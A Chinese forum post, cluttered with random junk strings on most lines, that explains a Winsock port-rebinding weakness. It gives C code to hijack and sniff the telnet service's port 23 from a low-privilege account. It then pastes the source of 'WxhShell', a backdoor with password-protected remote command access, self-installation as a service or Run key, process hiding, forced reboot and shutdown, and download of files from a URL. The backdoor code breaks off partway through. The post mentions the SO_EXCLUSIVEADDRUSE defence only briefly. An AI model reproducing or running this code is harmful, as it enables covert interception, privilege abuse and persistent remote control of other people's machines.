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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E+lR&~mK=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (Lgea  
(p[#[CI9  
  saddr.sin_family = AF_INET; ,Q-,#C"  
l&ueD& *4&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PaI\y! f  
?>h ~"D#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ChTq!W  
CW+kKN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Vc(4d-d5  
R.rc h2  
  这意味着什么?意味着可以进行如下的攻击: x"Ky_P~  
8M*+ |  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {s mk<NL  
u2oS Ci  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zWC| Qe  
L;RE5YrH%6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lgaSIXDK  
#"N60T@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e P@#I^_  
[=>=5'-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _ p\L,No  
YGo?%.X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  4u:SE   
}gkLO TJ/,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tn5%zJ#+  
8gP1]xD  
  #include ]3O&8,  
  #include /*qRbN  
  #include TmG);B}  
  #include    7%Y`j/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =~+ WJN  
  int main() a<<4gXx  
  { YCbvCw$Ob  
  WORD wVersionRequested; |fgUW.  
  DWORD ret; \_`qon$9  
  WSADATA wsaData; \jiE :Qt  
  BOOL val; !zX() V  
  SOCKADDR_IN saddr; L+8ar9es  
  SOCKADDR_IN scaddr; INN}xZ  
  int err; L]kBY2c  
  SOCKET s; |Mb{0mKb  
  SOCKET sc; lcdhOjz!N  
  int caddsize; ,u `xneOs  
  HANDLE mt; ?P'$Vxl  
  DWORD tid;   <l<O2l  
  wVersionRequested = MAKEWORD( 2, 2 ); ]I\GnDJ^  
  err = WSAStartup( wVersionRequested, &wsaData ); =P(*j7=  
  if ( err != 0 ) { ;bE/(nz M  
  printf("error!WSAStartup failed!\n"); ZA(u"T~  
  return -1; Z~J]I|R:  
  } s* (a  
  saddr.sin_family = AF_INET; >5CK&6  
   (03/4*g_s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S~Gse+*  
XRV]u|w=g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CPOH qK`k  
  saddr.sin_port = htons(23); XQy`5iv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /pj[c;aO  
  { J~2SGXH)^?  
  printf("error!socket failed!\n"); gK rUv0&F  
  return -1; n~ *|JJ*`  
  } u_k[< &$  
  val = TRUE; ;M3%t=KV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ab6I*DbF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ''nOXl  
  { h$02#(RHJ  
  printf("error!setsockopt failed!\n"); )=5 &Q  
  return -1; LCB-ewy#E  
  } \4N8-GwZQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RrMEDMhk6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nJ;^Sz17Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sM-,95H  
VhO%4[Jl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l!tR<$|  
  { IbI0".o  
  ret=GetLastError(); sycAAmH<  
  printf("error!bind failed!\n"); yqx5_}  
  return -1; `;UWq{"  
  }  pQiC#4b  
  listen(s,2); ]DVr-f ~  
  while(1) \qG ?'Iy  
  { bIU.C|h@  
  caddsize = sizeof(scaddr); p [Po*c.b  
  //接受连接请求 y#GHmHeh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Cy;UyZ  
  if(sc!=INVALID_SOCKET) OH t)z.  
  { i\sBey ND"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >bW=oTFz  
  if(mt==NULL) T-] {gc  
  { ? Lg(,-:  
  printf("Thread Creat Failed!\n"); joe)b  
  break; d/; tq  
  } cw<I L  
  } [M\ an6h6O  
  CloseHandle(mt); 3x[C pg,  
  } t7]j6>MK3q  
  closesocket(s); ;u<Ah?w=Z  
  WSACleanup(); <X)\P}"L4  
  return 0; /*#o1W?wQZ  
  }   tl 0|.Q,  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2^o7 ^S  
  { g{'f%bkG  
  SOCKET ss = (SOCKET)lpParam;  L8`v  
  SOCKET sc; UA$IVK&{  
  unsigned char buf[4096]; QEr<(wM-y  
  SOCKADDR_IN saddr; :H]d1  
  long num; N68mvBe  
  DWORD val; 2VN].t:  
  DWORD ret; hZJ~zx~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ray3gM%JLj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .iy4 (P4  
  saddr.sin_family = AF_INET; ^+>*Y=fl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cB uuq  
  saddr.sin_port = htons(23); r!Eh}0bL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OijuOLt  
  { h3@tZL#g  
  printf("error!socket failed!\n"); ~q ^o|?  
  return -1; O*~,L6# }  
  } >Z!!`0{  
  val = 100; P73GH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qX@e+&4P0  
  { 99=~vNn  
  ret = GetLastError(); NH/A`Wm  
  return -1; `>sOOA  
  } D{+@ ,C7B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6}6Q:V|  
  { *)E${\1'<  
  ret = GetLastError(); 'ZF6Z9  
  return -1; ,`HweIq(  
  } d0>U-.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,j_js8r  
  { lx|Aw@C3~  
  printf("error!socket connect failed!\n"); R%jOgZG  
  closesocket(sc); [D~]  
  closesocket(ss); nCq'=L,m  
  return -1; I-R7+o  
  } -qP)L;n  
  while(1) <e UsMo<  
  { DsMo_m/"1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JR] 2Ray  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aF 2vgE\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lx+;<la  
  num = recv(ss,buf,4096,0); H,% bKl#  
  if(num>0) ;oOTL'Vu  
  send(sc,buf,num,0); Ph=NH8  
  else if(num==0) :Qge1/  
  break; FOG{dio  
  num = recv(sc,buf,4096,0); x$d[Ovw-  
  if(num>0) h?xgOb!4  
  send(ss,buf,num,0); ({E,}x  
  else if(num==0) u !BU^@P  
  break; rCw 4a?YS  
  } 6BV 6<PHJ  
  closesocket(ss); g4Z Uh@b~  
  closesocket(sc); #|sE]\bsH  
  return 0 ; .) Ej#mk  
  } lq9|tt6Z  
nq!=9r  
IH`Q=Pj  
========================================================== FDl/7P`b(  
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下边附上一个代码,,WXhSHELL \ *t\=4  
DSLX/u o1  
========================================================== XY'=_5t  
fJ*^4  
#include "stdafx.h" (9u`(|x  
k{+cFG\C&  
#include <stdio.h> 0T`Qoo>u  
#include <string.h> 4FaO+Eo,8  
#include <windows.h> Z|_V ;*  
#include <winsock2.h> #f#6u2nF\  
#include <winsvc.h> 3 `_/h' ~  
#include <urlmon.h> +^BTh rB  
1J!v;Y\\  
#pragma comment (lib, "Ws2_32.lib") LLgw1 @-D  
#pragma comment (lib, "urlmon.lib") No7-fX1B  
9Kd=GL_  
#define MAX_USER   100 // 最大客户端连接数 8ae`V!5  
#define BUF_SOCK   200 // sock buffer li%@HdA!  
#define KEY_BUFF   255 // 输入 buffer 7rdmj[vu  
Nr*l3Z>LD  
#define REBOOT     0   // 重启  LgF?1?  
#define SHUTDOWN   1   // 关机 QP'sS*saJ  
?6_]^:s  
#define DEF_PORT   5000 // 监听端口 Ic&~iqQ  
uj3`M9  
#define REG_LEN     16   // 注册表键长度 #2^0z`-\_z  
#define SVC_LEN     80   // NT服务名长度 8|Tqk,/pD  
:gsRJy1  
// 从dll定义API |mH* I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2Z{?3mAb;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,WE2.MWR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `/WxEu3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C|]c#X2t3  
ajycYk9<m  
// wxhshell配置信息 }uDpf0;^  
struct WSCFG { F$8:9eL,T  
  int ws_port;         // 监听端口 3Ws(],Q  
  char ws_passstr[REG_LEN]; // 口令 ~u*4k:2H  
  int ws_autoins;       // 安装标记, 1=yes 0=no [k 7HLn)  
  char ws_regname[REG_LEN]; // 注册表键名 8U@f/ P  
  char ws_svcname[REG_LEN]; // 服务名 t`6]eRR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $ #!oejLD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~m fG Yk"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ' wl})  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W"%n5)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kz;Ar&^`N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bVcJ/+Yx|  
h?TIxo:6/  
}; N #v[YO`.  
HW[&q  
// default Wxhshell configuration '_?Z{|  
struct WSCFG wscfg={DEF_PORT, Kii@Z5R_?  
    "xuhuanlingzhe", +j: &_  
    1,  8~T}BC  
    "Wxhshell", vEx'~_+a9  
    "Wxhshell", w~6/p  
            "WxhShell Service", le^Fik   
    "Wrsky Windows CmdShell Service", ZW?h\0Hh  
    "Please Input Your Password: ", -9 LvAV>  
  1, P'h39XoZ  
  "http://www.wrsky.com/wxhshell.exe", IS8 sJ6")  
  "Wxhshell.exe" al#(<4sJ  
    }; ?J$k 5;  
#_ulmB;  
// 消息定义模块 Ho(M O!(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \L>XF'o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5"h4XINZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6KGT?d  
char *msg_ws_ext="\n\rExit."; -|'@ :cIZ  
char *msg_ws_end="\n\rQuit."; -Jd7  
char *msg_ws_boot="\n\rReboot..."; Z+V%~C1  
char *msg_ws_poff="\n\rShutdown..."; ox SSEs  
char *msg_ws_down="\n\rSave to "; ^X_ ;ZLg.  
OX.5o lb  
char *msg_ws_err="\n\rErr!";  2l,>x  
char *msg_ws_ok="\n\rOK!"; N]yT/8  
\:h7,[e  
char ExeFile[MAX_PATH]; &</)k|.A6\  
int nUser = 0; lfBCzxifC  
HANDLE handles[MAX_USER]; OR&pGoW  
int OsIsNt; 4j;IyQDvM  
qdQ4%,E[  
SERVICE_STATUS       serviceStatus; 'R1C-U3w,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kt Z~r. +  
{#+K+!SvDX  
// 函数声明 C+\z$/q  
int Install(void); MY{Kq;FvRP  
int Uninstall(void); "`K_5"F  
int DownloadFile(char *sURL, SOCKET wsh); JRBz/ j  
int Boot(int flag); + _ehzo97  
void HideProc(void); 12i`82>;  
int GetOsVer(void); k|xmZA*  
int Wxhshell(SOCKET wsl); DzhLb8k  
void TalkWithClient(void *cs); * 0K]/tn<  
int CmdShell(SOCKET sock); !=30s;-  
int StartFromService(void); ,w"cY?~<  
int StartWxhshell(LPSTR lpCmdLine); Sy?^+JdM/  
trwo(p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c2V_|oL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )Fd)YJVR  
]pNM~,  
// 数据结构和表定义 oBmv^=cH  
SERVICE_TABLE_ENTRY DispatchTable[] = mmwc'-jU:  
{ &H+ wzx<  
{wscfg.ws_svcname, NTServiceMain}, o?O ZsA  
{NULL, NULL} lLVD`)  
}; R)d_0Ng  
R:P),  
// 自我安装 3K(/=  
int Install(void) v$`3}<3-  
{ [W$x5|Z}Q  
  char svExeFile[MAX_PATH]; E_& ;.hw  
  HKEY key; >l}v _k*~B  
  strcpy(svExeFile,ExeFile); L7- JK3/E  
%D-!< )z  
// 如果是win9x系统,修改注册表设为自启动 N]8/l:@  
if(!OsIsNt) { Lm$KR!z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Zpz@T>m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $lB!Q8a$  
  RegCloseKey(key); mr[1F]G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V B ^1wm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Tuh]5  
  RegCloseKey(key); k'.cl^6Z8  
  return 0; 'n{=`e(}cI  
    } =Q;dYx%I5  
  } 4WlB Q<5  
}  k=t{o  
else { wR 2`*.O  
Nba1!5:M  
// 如果是NT以上系统,安装为系统服务 LB7$&.m'B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &%3}'&EBv  
if (schSCManager!=0) T#E,^|WEk  
{ Z>`frL  
  SC_HANDLE schService = CreateService 5 3+C;]J  
  ( G{pF! q  
  schSCManager, U&^(%W#  
  wscfg.ws_svcname, @0:Eg1-  
  wscfg.ws_svcdisp, [C ezz5  
  SERVICE_ALL_ACCESS, Oxu}W%BF*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~A/vP-  
  SERVICE_AUTO_START, <qoc)p=__  
  SERVICE_ERROR_NORMAL, NxH%%>o>  
  svExeFile, ?/3{gOgI$`  
  NULL, {niV63$m  
  NULL, MR,>]| ^  
  NULL, |I]G=.*E  
  NULL, O?#<kmd/)  
  NULL =585TR; V  
  ); 9u^za!pE  
  if (schService!=0) (<`> B  
  { M;g"rpM  
  CloseServiceHandle(schService); *ax&}AHK[/  
  CloseServiceHandle(schSCManager); }uD*\.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZDK+>^A)  
  strcat(svExeFile,wscfg.ws_svcname); FKtCUq,:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CW@EQ3y0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W)2k>cS  
  RegCloseKey(key); KVC18"|f  
  return 0; aB&a#^5CI  
    } gW G>}M@  
  } N+UBXhh  
  CloseServiceHandle(schSCManager); oj6=.   
} )CH\]>-FO  
} 7CU<R9Kl  
6C_H0a/h&  
return 1; j%S} T)pX  
} &x.5TDB>%  
o -x=/b  
// 自我卸载 MA=gCG/JD  
int Uninstall(void) pmUC4=&e  
{ ],<pZ1V;  
  HKEY key; {- &wV  
% y` tDR  
if(!OsIsNt) { 74A&#ecb{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~!fOl)F  
  RegDeleteValue(key,wscfg.ws_regname); skLr6Cs|  
  RegCloseKey(key); _Pw5n mH c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R,hwn2@B  
  RegDeleteValue(key,wscfg.ws_regname); gfXit$s  
  RegCloseKey(key); /u"K`y/*j\  
  return 0; /KgP<2p  
  } b5 AP{ #  
} 2ak*aI  
}  =VSUE Pq  
else { E_xCRfw_i]  
U4NA'1yo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); + VhD]!  
if (schSCManager!=0) N@? z&urQi  
{ n7#}i2:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R4f_Kio  
  if (schService!=0) G7#<Jo<8  
  { xCU pMB7  
  if(DeleteService(schService)!=0) { ?D M!=.]  
  CloseServiceHandle(schService); AbMf8$$3SH  
  CloseServiceHandle(schSCManager); k _Bz@^J  
  return 0; 2reQd47  
  } t] G hONN  
  CloseServiceHandle(schService); bmRp)CYd  
  } XJ1<!tl  
  CloseServiceHandle(schSCManager); Vg`32nRN  
} yD^Q&1  
} c_6~zb?k+m  
h],l`lT1\  
return 1; }(UU~V  
} !y;xt?  
UDgUbi^v|D  
// 从指定url下载文件 %c&< {D}r  
int DownloadFile(char *sURL, SOCKET wsh) 'oM&Ar$  
{ u$V@akk  
  HRESULT hr; mk`#\=GE  
char seps[]= "/"; `Yo!sgPO\  
char *token; hRktvO)K  
char *file; U'xmn$ O  
char myURL[MAX_PATH]; L8$+%Gvo  
char myFILE[MAX_PATH]; m@` NN  
oe1$;K>.7  
strcpy(myURL,sURL); ^' b[#DG>F  
  token=strtok(myURL,seps); V%w]HIhq  
  while(token!=NULL) !X{>?.@~  
  { 4q`e<!MP)q  
    file=token; ,6T3:qkkvF  
  token=strtok(NULL,seps); 1NU@k6UHl  
  } ;LFs.Jc<  
>KCnmi  
GetCurrentDirectory(MAX_PATH,myFILE); AI*1kxR  
strcat(myFILE, "\\"); ,a@jg&Mb]  
strcat(myFILE, file); T oK'Pd  
  send(wsh,myFILE,strlen(myFILE),0); +Ft@S(IE  
send(wsh,"...",3,0); cY%6+uJ1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IaYy5Rw  
  if(hr==S_OK) 2u^/yl  
return 0; ;fKFmY41  
else iriF'(1  
return 1; mRD'@n  
,gbQqoLV  
} j |:{ B  
=7%c*O <  
// 系统电源模块 A}(Q^|6  
int Boot(int flag) \9jvQV/y  
{ uY$BZEuAZ  
  HANDLE hToken; rTYMN  
  TOKEN_PRIVILEGES tkp; ^yVKW5x  
+FlO_=Bu  
  if(OsIsNt) { -@G,Ry-\t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S5xum_Dq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k|F TT  
    tkp.PrivilegeCount = 1;  <sC.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #bdSH)V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -ZE]VO*F  
if(flag==REBOOT) {  C\5"Kb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :x@j)&  
  return 0; ZE0D=  
} V.kRV{43  
else { rh 7%<xb>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) & 0%x6vea  
  return 0; LIMPWw g  
} GUdVsZjz(  
  } Jz6zJKcA  
  else { v?qU/  
if(flag==REBOOT) { =S}SZYw l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `l`)Cs;a  
  return 0; Ld:U~M-  
} Ny)N  
else { Ga#5xAI{a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G[z4 $0f  
  return 0; ;*409 P  
} 8k -l`O~  
} ^Jdji:  
`\5u/i'Ca!  
return 1; ?*2Uw{~}  
} +{pS2I}d  
A1V^Gi@i  
// win9x进程隐藏模块 {S5H H"  
void HideProc(void) `KUl XS(  
{ 1|/]bffg!c  
iF'qaqHWY4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !1cVg ls|  
  if ( hKernel != NULL ) "kg;fF|  
  { Tg|/UUn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a\?-uJ+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4-veO3&.h  
    FreeLibrary(hKernel); zKX|m-i|2  
  } !;s5\91  
t*{BN>B  
return; r*XEne  
} ~_Q1+ax}  
aX{i   
// 获取操作系统版本 g6~B|?!  
int GetOsVer(void) 'n4$dv% q  
{ X4Y!Z/b  
  OSVERSIONINFO winfo; T?V!%AqY:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v[I,N$ :  
  GetVersionEx(&winfo); $`Hb -  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fl0 :Z  
  return 1; T+U,?2nF:  
  else >,)tRQS  
  return 0; ;ro%Wjg`}  
} :FqHMN  
R8![ $mkU  
// 客户端句柄模块 Q/<?v!h{  
int Wxhshell(SOCKET wsl) XpU%09K  
{ q7u bRak  
  SOCKET wsh; oVYW '~OID  
  struct sockaddr_in client; , UiA?7k  
  DWORD myID; #Z>EX?VS:  
u[G`_Y{=EM  
  while(nUser<MAX_USER) B #zU'G*Y  
{ $PE{}`#g  
  int nSize=sizeof(client); pZaOd;t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nb,+!)+  
  if(wsh==INVALID_SOCKET) return 1; %AnqT|\#,  
1aBQ.-E-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "[t b-$ER  
if(handles[nUser]==0) &D*22R4{CX  
  closesocket(wsh); %1^E;n  
else ;;? Zd  
  nUser++; .*W_;Fo  
  } S @[B?sNj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6 r}R%{  
/<-@8CC<  
  return 0; 0G}]d17ho  
} )CM3v L {  
?KMGk]_<  
// 关闭 socket 1sN >U<  
void CloseIt(SOCKET wsh) _q<Ke/  
{ 1'Y7h;\~\  
closesocket(wsh); QdtGFY4f,  
nUser--; &h_do8R  
ExitThread(0); g:]X '%Ub  
} BA(PWX`H  
lZf=#  
// 客户端请求句柄 1K&l}/zUl  
void TalkWithClient(void *cs) |\k,qVQ  
{ g\ q*,1  
PG*:3![2  
  SOCKET wsh=(SOCKET)cs; I' TprT  
  char pwd[SVC_LEN]; asd3J  
  char cmd[KEY_BUFF]; "ukiuCfVuW  
char chr[1]; M:QM*?+)  
int i,j; 3yp?|> e  
L j>HZS$F  
  while (nUser < MAX_USER) { O|I)HpG;  
E/IoYuB  
if(wscfg.ws_passstr) { j8#xNA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kp)H>~cL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R-lpsvDDL2  
  //ZeroMemory(pwd,KEY_BUFF); |h(05Kbk  
      i=0; ?&rt)/DV,  
  while(i<SVC_LEN) { M'-Z"  
V4>qR{5  
  // 设置超时 Hu-Y[~9^L:  
  fd_set FdRead; LCouDk(=`  
  struct timeval TimeOut; q9iHJ'lMD*  
  FD_ZERO(&FdRead); MQvk& AX  
  FD_SET(wsh,&FdRead); s !XJ   
  TimeOut.tv_sec=8; <yxy ;o  
  TimeOut.tv_usec=0; K 0Gm ?(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6Ud6F t6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ 30ta<-  
yZcnky  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lZ>j:/R8^&  
  pwd=chr[0]; ngI3.v/R  
  if(chr[0]==0xd || chr[0]==0xa) { cypb 6Q_  
  pwd=0; S2,tv  
  break; [oS4W P  
  } v| Yh]y  
  i++; {Ne5*HFV  
    } _(1Shm  
HBp$   
  // 如果是非法用户,关闭 socket :N>n1tHL;A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zPn 2  
} 9_ru*j\  
!)-)*T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g;mX{p_@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A8oTcX_  
o<Y[GW1pg  
while(1) { -lqsFaW  
{;-wXzv`  
  ZeroMemory(cmd,KEY_BUFF); rGIf/=G^r  
$z48~nu@ j  
      // 自动支持客户端 telnet标准   lGZf_X)gA^  
  j=0; V(c>1xLlz  
  while(j<KEY_BUFF) { =%Z5"];  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A\:u5(  
  cmd[j]=chr[0]; odsLFU(  
  if(chr[0]==0xa || chr[0]==0xd) { ,6AnuA  
  cmd[j]=0; %`)lCK)2  
  break; Yx3ivjX.>  
  } $LOwuvu>  
  j++; AJ"a  
    } %ZbdWHO#  
MR3\7D+9y  
  // 下载文件 Y6:b  
  if(strstr(cmd,"http://")) { \qZ>WCp>r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zz* *HwRt  
  if(DownloadFile(cmd,wsh)) &w'1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |9Pi*)E  
  else Ouos f1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #ni:Bwtl{  
  } G5,g$yNs  
  else { ?ytY8`PC  
a>8&B  
    switch(cmd[0]) { 6QM$aLLP?  
  dng^#|X)?  
  // 帮助 >i!y[F  
  case '?': { CAa&,ZR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PP&9ORG  
    break; [x8_ax} w  
  } 1G<S'd+N  
  // 安装 .Q5zmaA]  
  case 'i': { )j\9IdkU;y  
    if(Install()) W87kE?,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4H*M^?h\#  
    else h-+vN hH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?d' vIpzO!  
    break; U+-R2w]#q_  
    } 7#+>1 "\  
  // 卸载 qe2@bG%2+F  
  case 'r': { /CXQ&nwY9=  
    if(Uninstall()) <IO@Qj1*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S;iJQS   
    else TD.t)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dn[uzY6  
    break; ~i UG24v  
    } UZRN4tru6  
  // 显示 wxhshell 所在路径 z2~\ b3G  
  case 'p': { ?<efKs  
    char svExeFile[MAX_PATH]; -Dy":/Bk  
    strcpy(svExeFile,"\n\r");  WJTc/  
      strcat(svExeFile,ExeFile); r)|6H"n#]S  
        send(wsh,svExeFile,strlen(svExeFile),0); 8e"MP\0V  
    break; \OE,(9T2P.  
    } w JF(&P  
  // 重启 XIBm8IkF  
  case 'b': { g#lMT%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kca#ssN  
    if(Boot(REBOOT)) /*e6('9s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~?z u5,vb  
    else { Aaug0X  
    closesocket(wsh); fLg :+Ue<B  
    ExitThread(0); ;Iax \rQ  
    } .2V?G]u  
    break; ?h)T\z  
    } WP5Vev9*+  
  // 关机 e(H{C  
  case 'd': { F/u i(4  
